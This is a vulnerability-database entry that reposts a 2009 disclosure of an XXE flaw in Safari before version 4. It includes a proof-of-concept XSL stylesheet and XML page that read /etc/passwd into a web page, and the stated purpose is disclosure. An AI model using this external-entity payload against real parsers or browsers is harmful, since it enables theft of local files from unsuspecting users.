Lucene search
K

Apple Safari <= 3.2.x (XXE attack) Local File Theft Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Apple Safari version 4 and below allows XXE attack via XSL XML, leading to local file theft vulnerabilit

Code

                                                Safari prior to version 4 may permit an evil web page to steal files
from the local system.

This is accomplished by mounting an XXE attack against the parsing of
the XSL XML. This is best explained with a sample evil XSL file which
includes a DTD that attempts the XXE attack:

&#60;!DOCTYPE doc [ &#60;!ENTITY ent SYSTEM &#34;file:///etc/passwd&#34;&#62; ] &#62;
&#60;xsl:stylesheet version=&#34;1.0&#34;
xmlns:xsl=&#34;http://www.w3.org/1999/XSL/Transform&#34;&#62;
&#60;xsl:template match=&#34;/&#34;&#62;
  &#60;html&#62;
  &#60;body&#62;
Below you should see the content of a local file, stolen by this evil web page.
&#60;p/&#62;
&ent;
&#60;script&#62;
alert(document.body.innerHTML);
&#60;/script&#62;
  &#60;/body&#62;
  &#60;/html&#62;
&#60;/xsl:template&#62;
&#60;/xsl:stylesheet&#62;

To mount the attack, the attacker would serve a web page which has XML
MIME type and requests to be styled by the evil stylesheet:

&#60;?xml version=&#34;1.0&#34; encoding=&#34;ISO-8859-1&#34;?&#62;
&#60;?xml-stylesheet type=&#34;text/xsl&#34; href=&#34;safaristealfilebug.xsl&#34;?&#62;
&#60;xml&#62;
irrelevant
&#60;/xml&#62;

Full technical details: http://scary.beasts.org/security/CESA-2009-006.html

Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html
(includes 1-click demos)

Cheers
Chris

# milw0rm.com [2009-06-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23